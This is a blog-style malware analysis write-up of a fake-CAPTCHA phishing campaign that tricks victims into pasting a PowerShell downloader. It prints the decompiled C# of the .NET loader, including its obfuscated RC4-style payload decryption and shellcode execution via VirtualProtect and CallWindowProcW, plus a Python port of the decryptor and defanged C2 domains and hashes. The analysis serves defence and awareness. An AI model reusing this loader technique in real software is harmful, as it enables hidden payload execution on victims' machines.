Malware Analysis - Real Case 6
Preface
Hi everyone, it’s me again, Odin. Today is a special day with me when I’ve got scholarship from USTH - my school and I found another interesting case when I was waiting for scholarship. Go with me and see if there’s any funny thing, let’s go 😂😂😂
Analyse
First, this is the post led me to write this post:
According to Mr Ngan, there’s an email which sent a fake Github link:
I accessed it and I saw a robot-verification screen (it’s down now so I cannot capture my screen for it, I will take Ngan’s image):
If you click I’m not a robot button, it will attach a Powershell command to clipboard:
It will download a file name download.txt, I downloaded it and this is the file content:
You can see that it will download a program named l6E.exe, store it in \TEMP\SysSetup.exe and then run it. Now let’s see what inside the program. First, always check program information by using exiftool and file:
It’s a .NET program, so we can use dnSpy to reverse:
// AVP.Program
// Token: 0x0600000C RID: 12 RVA: 0x00053BD0 File Offset: 0x00051DD0
private static void Main(string[] args)
{
new Resolver("Consulter", 100);
Program.FreeConsole();
Program.UAdhuyichgAUIshuiAuis();
Task.Run(delegate()
{
Program.PersonalActivation(new List<int>(), Program.AIOsncoiuuA, Program.Alco);
Program.PersonalActivation(new List<int>(), MoveAngles.userBuffer, MoveAngles.key);
});
Thread.Sleep(1000);
uint num = 0U;
Program.VirtualProtect(ref Program.AIOsncoiuuA[0], Program.AIOsncoiuuA.Length, 64U, ref num);
int num2 = 392;
Program.CallWindowProcW(ref Program.AIOsncoiuuA[num2], MoveAngles.userBuffer, 0, 0, 0);
}
Let’s analyse main function: it will execute functions following this order: Resolver -> FreeConsole -> UAdhuyichgAUIshuiAuis -> PersonalActivation -> VirtualProtect -> CallWindowProcW. The most suspicious function here is PersonalActivation which processed two parameters in each time:
public static void PersonalActivation(List<int> aaa, byte[] ioAHsiujxhbiAIkao, byte[] key)
{
byte[] array = new byte[256];
byte[] array2 = new byte[256];
int i;
for (i = 0; i < 256; i++)
{
array[i] = byte.Parse(i.ToString());
int num = 112643575;
uint num2 = 559148582U;
uint num3 = 187982529U;
uint num4 = 1563534896U;
uint num5 = 1953161141U;
int num6 = 2075696868;
uint num7 = 283774760U;
uint num8 = 1504728650U;
uint num9 = 972316772U;
uint num10 = 550482091U;
int num11 = (int)(num2 / num9);
uint num12 = num8 - num4;
uint num13 = (uint)(num - num);
num8 = num12 / num8;
if (num10 < num2)
{
num7 = (uint)(num6 * num);
}
if ((long)num6 < (long)((ulong)num10))
{
num9 = (uint)((long)num - (long)((ulong)num4));
uint num14 = (uint)((ulong)num3 * (ulong)((long)num));
}
if ((ulong)num5 >= (ulong)((long)num11))
{
num12 = num13 / num7;
}
array2[i] = key[i % key.Length];
}
i = 0;
int num15 = 0;
while (i < 256)
{
num15 = (num15 + (int)array[i] + (int)array2[i]) % 256;
byte b = array[i];
array[i] = array[num15];
array[num15] = b;
i++;
}
i = 0;
num15 = 0;
for (int j = 0; j < ioAHsiujxhbiAIkao.Length; j++)
{
int num16 = 1677890457;
uint num17 = 970823212U;
int num18 = 2032724462;
uint num19 = 996749628U;
int num20 = 54179042;
num16 = (int)((ulong)num19 * (ulong)((long)num16));
uint num21 = (uint)((long)num18 * (long)((ulong)num17));
num18 = (int)((ulong)num21 ^ (ulong)((long)num20));
num20 = (int)((ulong)num19 ^ (ulong)((long)num20));
i = (i + 1) % 256;
num15 = (num15 + (int)array[i]) % 256;
byte b2 = array[i];
array[i] = array[num15];
array[num15] = b2;
int num22 = (int)(array[i] + array[num15]) % 256;
try
{
uint num23 = 726649612U;
uint num24 = 1655325590U;
uint num25 = 2044885176U;
int num26 = 142885486;
uint num27 = 323723604U;
int num28 = 1956001745;
long num29 = (long)num26 / (long)((ulong)num24);
ulong num30 = (ulong)num27 / (ulong)((long)num28);
if (num23 >= num25)
{
num27 = (uint)(num28 / num28);
}
int num31 = 0;
int num32 = 0;
int.TryParse(j.ToString(), out num31);
int.TryParse(num22.ToString(), out num32);
int num33 = num31;
ioAHsiujxhbiAIkao[num33] ^= array[num32];
}
catch (Exception ex)
{
throw ex;
}
}
}
I’m sure after this function is run, it will create something that’s not good, so I rewrote this script in Python and try to decrypt all:
def PersonalActivation(aaa: list, ioAHsiujxhbiAIkao: bytearray, key: bytearray):
array = bytearray(256)
array2 = bytearray(256)
for i in range(256):
array[i] = i
num = 112643575
num2 = 559148582
num3 = 187982529
num4 = 1563534896
num5 = 1953161141
num6 = 2075696868
num7 = 283774760
num8 = 1504728650
num9 = 972316772
num10 = 550482091
num11 = num2 // num9
num12 = num8 - num4
num13 = num - num
num8 = num12 // num8
if num10 < num2:
num7 = num6 * num
if num6 < num10:
num9 = num - num4
num14 = num3 * num
if num5 >= num11:
num12 = num13 // num7
array2[i] = key[i % len(key)]
i = 0
num15 = 0
for i in range(256):
num15 = (num15 + array[i] + array2[i]) % 256
array[i], array[num15] = array[num15], array[i]
i = 0
num15 = 0
for j in range(len(ioAHsiujxhbiAIkao)):
num16 = 1677890457
num17 = 970823212
num18 = 2032724462
num19 = 996749628
num20 = 54179042
num16 = (num19 * num16) % (2**32)
num21 = (num18 * num17) % (2**32)
num18 = (num21 ^ num20) % (2**32)
num20 = (num19 ^ num20) % (2**32)
i = (i + 1) % 256
num15 = (num15 + array[i]) % 256
array[i], array[num15] = array[num15], array[i]
num22 = (array[i] + array[num15]) % 256
try:
num23 = 726649612
num24 = 1655325590
num25 = 2044885176
num26 = 142885486
num27 = 323723604
num28 = 1956001745
num29 = num26 // num24
num30 = num27 // num28
if num23 >= num25:
num27 = num28 // num28
num31 = j
num32 = num22
ioAHsiujxhbiAIkao[num31] ^= array[num32]
except Exception as ex:
raise ex
for i in ioAHsiujxhbiAIkao:
print(chr(i), end='')
With the first time it ran, it took two parameters: Program.AIOsncoiuuA and Program.Alco which contain byte arrays:
With the script I wrote, I tried to decrypt it and found an interesting thing:
It seems to contain some WinAPIs and files like: user32.dll, CreateProcessA, VirtualAlloc… I think it will be a part of another malicious files. Next with the last call I had difficulty because of not displaying fully:
At first I intended to give up but fortunately my big brother: tr4c3datr4il gave me an important hint:
According to him, because the variable is constant, it will exist inside the program. Now this is how to extract data fully:
- Go to CyberChef, convert program to hex values:
-
Next, I will try to take some values from variable and search it in program, and I really found it:
-
I extracted data by writing another Python script:
-
Decrypt and I got another exe file:
From here I used any.run to run it:
IOCs
DNS requests:
- eemmbryequo[.]shop
- keennylrwmqlw[.]shop
- tesecuuweqo[.]shop
- relaxatinownio[.]shop
- tendencctywop[.]shop
- licenseodqwmqn[.]shop
- reggwardssdqw[.]shop
- genedjestytw[.]shop
- tryyudjasudqo[.]shop
- steamcommunity[.]com
Dropped files: - payload.exe (SHA256: 5aead2773474aa64c7e5300d49eca7ee01174fe806fd73f4a878ae4b2a4aaca1)
- payload2 (SHA256: ad297e69088683dbc3d8fe1f9d67a9dbf36931e9a46e66533d62cfcf430ea618)
This is all my process so far. Thank you very much for reading till this line, if you love this article, please share it to your friend or other people so that everyone can be safe on the Internet. See you in the future posts, bye bye! 🫀🫀🫀